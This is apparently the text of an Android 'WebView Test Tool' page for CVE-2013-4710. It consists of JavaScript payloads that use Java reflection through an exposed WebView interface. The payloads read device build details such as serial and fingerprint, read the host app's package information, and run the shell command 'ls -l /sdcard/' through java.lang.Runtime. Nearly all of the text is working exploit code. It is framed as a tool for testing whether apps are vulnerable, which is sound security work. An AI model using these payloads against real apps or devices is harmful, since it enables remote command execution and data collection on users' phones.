Android WebView Test Tool
This is test tool for CVE-2013-4710
Logger
OS VERSION
var version = getClassLoader().loadClass("android.os.Build$VERSION"); log("RELEASE:" + toStr(version.getField("RELEASE").get(version))); log("SDK_INT:" + version.getField("SDK_INT").getInt(version) ); var build = getClassLoader().loadClass("android.os.Build"); var fields = "BOARD,BOOTLOADER,BRAND,CPU_ABI,CPU_ABI2,DEVICE,DISPLAY,FINGERPRINT,HARDWARE,HOST,ID,MANUFACTURER,MODEL,PRODUCT,RADIO,SERIAL,TAGS,TYPE,USER".split(","); var result = {}; fields.forEach(function(f){ result[f] = toStr(build.getField(f).get(build)) }); log(JSON.stringify(result));
exec
getPackageName
var pn = getContext().getPackageName(); var pm = getContext().getPackageManager(); var packageInfo = pm.getPackageInfo(pn, 0); var f1 = packageInfo.getClass().getField("versionCode"); var f2 = packageInfo.getClass().getField("versionName"); log("code:" + f1.getInt(packageInfo)); log("name: " + toStr(f2.get(packageInfo))); log("package:" + pn);
exec
Exec command with java.lang.Runtime
var result = exec_cmd("ls -l /sdcard/"); log(result);
exec